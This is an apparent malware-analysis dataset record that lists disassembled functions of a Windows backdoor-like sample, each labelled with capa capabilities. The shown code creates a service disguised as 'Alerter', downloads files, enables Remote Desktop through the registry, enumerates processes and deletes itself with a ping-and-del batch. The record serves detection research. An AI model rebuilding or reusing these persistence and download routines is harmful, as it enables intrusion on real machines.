joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4041f0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x18
push esi
mov esi, dword [esp + 0x24]
cmp esi, 1
push edi
jae 0x404209
pop edi
mov eax, 1
pop esi
add esp, 0x18
ret
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x28]
push 4
push eax
push 8
push 0xffff
push edi
mov dword [esp + 0x3c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x404236
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
lea eax, [esi + esi*4]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
lea eax, [eax + eax*4]
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
lea eax, [eax + eax*4]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], edx
shl eax, 3
push edx
push ecx
lea edx, [esp + 0x20]
mov dword [esp + 0x18], eax
push 0xc
push edx
lea eax, [esp + 0x1c]
push 0xc
push eax
push 0x98000004
push edi
mov dword [esp + 0x2c], 1
mov dword [esp + 0x34], 0x3e8
call dword [sym.imp.WS2_32.dll_WSAIoctl]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x18
ret

Function at 0x4042a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x4042df
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x4042d8
cmp eax, 0xffffffff
je 0x4042d8
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x4042df
jmp 0x4042b4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x4042f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x40432f
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x404328
cmp eax, 0xffffffff
je 0x404328
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x40432f
jmp 0x404304
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x4048d0
Capabilities:
Delete file

Disassembly:
mov eax, dword [0x425658]
push esi
test eax, eax
mov esi, ecx
je 0x4048fc
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
test eax, eax
je 0x4048fc
mov eax, dword [esi + 0x60]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x425550
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [0x425664], 1
mov ecx, dword [esi + 0x178]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, esi
call sub.MFC42.DLL_CWnd::Default
pop esi
ret

Function at 0x404c40
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x404c64
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404c5d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret
Function at 0x404e30
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], bl
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x30
mov dword [esp + 0x14], ebx
stosb byte es:[edi], al
call ebp
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x44]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
mov edi, 0x4147b8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x40]
push eax
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x30
call ebp
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 3
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x53
mov byte [esp + 0x29], bl
push 0x30
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 1
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 1
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 1
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], bl
call ebp
mov eax, dword [esp + 0x18]
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x14]
push 0x2c
push edx
push 3
push ebx
push str.FailureActions
push eax
call esi
push 0x30
call ebp
add esp, 4
push 0x414ac4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x10]
push eax
push 0x414ac4
push 1
push ebx
push str.Description
push ecx
call esi
push 0x30
call ebp
mov edx, dword [esp + 0x14]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x30
call ebp
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
Function at 0x405000
Capabilities:
Create service
Delete service
Persist via windows service

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x4147b8
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call ebp
push esi
call ebp
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebx
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x405070
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret 8
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x118]
lea ecx, [esp + 0x10]
lea eax, [edi + 0x268]
push eax
push str.__s_
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x30
call ebx
add esp, 0x10
lea edx, [esp + 0x10]
push 0
push 0
push 0
push 0
push 0
push edx
push 1
push 2
push 0x110
push 0xf01ff
push str.Alerter
push 0x4147b8
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push 0x30
mov dword [edi + 0x370], eax
call ebx
add esp, 4
mov ecx, edi
call fcn.00404e30
push 0x30
call ebx
add esp, 4
push esi
call ebp
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x104
ret 8
Function at 0x405260
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x415604]
push ebx
push ebp
push esi
sub eax, 0
push edi
mov ebp, ecx
je 0x4052a4
dec eax
je 0x405291
dec eax
je 0x40527e
push 0
call dword [sym.imp.MSVCRT.dll_exit]
lea ebx, [ebp + 0x164]
push ebx
push 3
call fcn.00408b70
add esp, 8
jmp 0x4052df
lea ebx, [ebp + 0x164]
push ebx
push 2
call fcn.00408b70
add esp, 8
jmp 0x4052df
lea ebx, [ebp + 0x164]
push ebx
push 1
call fcn.00408b70
mov edi, str.Program_Files
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x415608
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x405340
mov edi, 0x4158dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x415608
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x41570c
push ebx
add ebp, 0x268
push str._s_s
push ebp
call dword [sym.imp.MSVCRT.dll_sprintf]
mov eax, dword [0x4155fc]
add esp, 0x10
test eax, eax
jne 0x4053d1
mov edi, 0x414fe0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x4147b8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4150e4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.Alerter
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4152ec
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x414ac4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x405510
Capabilities:
Create thread
Set file attributes
Start service
Terminate process

Disassembly:
push esi
push edi
mov esi, ecx
push 0
push esi
call fcn.00405000
push 0
lea eax, [esi + 0x164]
push 0
push eax
push 0x405230
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esi + 0x268]
lea ecx, [esi + 0x60]
push edi
push ecx
call fcn.004054a0
mov eax, dword [esi + 0x36c]
add esp, 8
test eax, eax
je 0x40556d
push edi
mov ecx, esi
call fcn.00405980
mov edx, dword [0x415810]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, esi
call fcn.004057c0
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov eax, dword [esi + 0x370]
add esp, 4
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0x30
call edi
mov ecx, dword [esi + 0x370]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x30
call edi
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4056f0
Capabilities:
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x190
push ebx
push ebp
push esi
push edi
push 0x414edc
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x42574c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405727
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x405880
push 0
push 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebp
push 0
push 0
push 0
push 0x409220
push 0
push 0
call ebx
push eax
call ebp
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call fcn.004055d0
push 0
push 0
push 0
push 0x405b50
push 0
push 0
call ebx
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call ebp
call edi
mov esi, eax
call edi
sub eax, esi
cmp eax, 0x1388
jae 0x405771
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
sub eax, esi
cmp eax, 0x1388
jb 0x4057a4
jmp 0x405771

Function at 0x405a20
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x60]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x405a89
mov ecx, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call esi
pop esi
add esp, 0x54
ret
Function at 0x406eb0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x110]
add esi, eax
mov eax, dword [esp + 0x10c]
push ecx
lea edx, [esp + 8]
push esi
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop esi
add esp, 0x104
ret
Function at 0x406f10
Capabilities:
Check internet connectivity via wininet
Create http request
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x1006c
call fcn.0040a300
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea eax, [esp + 0x20]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x406f3b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [str.Agent]
mov dx, word [0x415a54]
mov dword [esp + 0x24], ecx
mov word [esp + 0x28], dx
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x44]
push str._s_ld
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov al, byte [esp + 0x30]
add esp, 0x10
test al, 4
push ebx
push ebx
push ebx
jne 0x406f90
lea edx, [esp + 0x48]
push 4
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
mov dword [esp + 0x10], ebp
jmp 0x406fa2
lea eax, [esp + 0x48]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x10], eax
mov ebp, eax
cmp ebp, ebx
jne 0x406fb3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [str.Accept:___r_n_r_n]
mov eax, dword [0x415a40]
mov edx, dword [0x415a3c]
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x415a44]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ecx
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x30], edx
push ebx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10084]
push 0x84000100
not ecx
dec ecx
lea edx, [esp + 0x34]
push ecx
push edx
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x407016
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [esp + 0x10084]
push 0x4158f0
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
cmp edi, ebx
jne 0x40703f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
lea edx, [esp + 0x1c]
push ebx
lea eax, [esp + 0x18]
push edx
push eax
push 0x20000005
push esi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x40706a
mov dword [esp + 0x14], ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x80]
push 0x4000
push edx
push esi
call ebx
test eax, eax
je 0x4070c2
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [esp + 0x18]
push edi
test eax, eax
je 0x4070e0
push 1
push eax
lea eax, [esp + 0x88]
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x18]
lea edx, [esp + 0x7c]
push ecx
push 0x4000
push edx
push esi
call ebx
test eax, eax
jne 0x40708f
mov ebp, dword [esp + 0x10]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1006c
ret
Function at 0x407110
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x4147b0
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x407132
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x4071ae
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x4071d0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
test eax, eax
je 0x40722d
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x407231
lea eax, [esp + 0x34]
push edi
push eax
call ebx
test eax, eax
jne 0x407212
mov ebp, dword [esp + 0x18]
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret

Function at 0x407370
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push str.fDenyTSConnections
push edx
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0x408a50
Capabilities:
Create process on windows
Set file attributes

Disassembly:
sub esp, 0x608
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x30
stosb byte es:[edi], al
call esi
add esp, 4
lea eax, [esp + 0x110]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
add esp, 4
lea ecx, [esp + 0x110]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x10]
push 0x415b50
push edx
stosb byte es:[edi], al
call fcn.00406eb0
lea eax, [esp + 0x18]
push 0x414760
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x229]
mov byte [esp + 0x228], 0
lea edx, [esp + 0x228]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x124]
stosw word es:[edi], ax
push ecx
push str.ping_127.0.0.1_ndel___s__ndel__0
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x234]
push ebp
push eax
call dword [sym.imp.MSVCRT.dll_fputs]
add esp, 0x28
test ebp, ebp
je 0x408b40
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0x30
call esi
add esp, 4
lea ecx, [esp + 0xc]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x30
call esi
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x608
ret

Function at 0x408b70
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x104
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov eax, dword [esp + 0x110]
dec eax
je 0x408c13
dec eax
je 0x408bdf
dec eax
jne 0x408c3f
mov edx, dword [esp + 0x114]
lea ecx, [esp + 8]
push ecx
push str._s_system32
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov eax, 1
pop edi
pop esi
add esp, 0x104
ret
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x104
ret
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x114]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [eax + 2], 0
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
Function at 0x408c50
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x168]
push esi
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x408d68
mov ecx, 0x41
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
xor esi, esi
push eax
push 0xf003f
push esi
push str.Applicationsiexplore.exe_shellopencommand
push connect
mov dword [esp + 0x24], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408d68
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x68]
push ecx
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x408d68
lea eax, [esp + 0x68]
push 0x415b6c
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
cmp eax, esi
je 0x408d68
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x174]
mov dword [esp + 0x14], 0x44
cmp eax, esi
je 0x408d27
mov dword [esp + 0x1c], str.WinSta0Default
jmp 0x408d49
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x40], 1
mov word [esp + 0x44], si
mov word [esp + 0x46], si
mov dword [esp + 0x48], esi
lea ecx, [esp + 0x58]
lea edx, [esp + 0x14]
push ecx
push edx
push esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0x84]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x160
ret